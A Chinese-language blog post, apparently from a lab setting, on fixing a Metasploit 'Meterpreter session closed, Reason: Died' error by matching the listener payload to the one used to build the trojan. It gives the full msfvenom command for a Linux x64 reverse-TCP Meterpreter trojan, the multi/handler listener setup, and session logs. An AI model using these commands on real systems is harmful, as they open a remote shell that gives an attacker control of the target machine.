Meterpreter session 2 closed. Reason: Died 问题解决方法

问题描述
用msf生成Ubuntu 16.04的反向连接木马：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.252.129 LPORT=1234 -f elf > shell.elf
开启监听：

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.252.129
set lport 1234
exploit

另一端靶机上运行shell后显示段错误：

./shell.elf 
Segmentation fault (core dumped)

msf攻击机上显示连接session关闭：

[*] Started reverse TCP handler on 172.16.252.129:1235 
[*] Sending stage (180291 bytes) to 172.16.252.138
[*] Meterpreter session 2 opened (172.16.252.129:1235 -> 172.16.252.138:55946) at 2020-04-21 21:42:43 -0400
[*] 172.16.252.138 - Meterpreter session 2 closed.  Reason: Died

反复连接，反复出错，只见session数一直增加：

解决方法
在网上搜索半天没发现解决方法，最后发现问题是出在msf中监听载荷的设置不一致：

set payload windows/meterpreter/reverse_tcp

应该改为：

set payload linux/x64/meterpreter/reverse_tcp 

生成木马时所用载荷需要与监听载荷配置一致。修改后，重新开启监听：

set payload linux/x64/meterpreter/reverse_tcp 
exploit

重新运行shell，连接成功：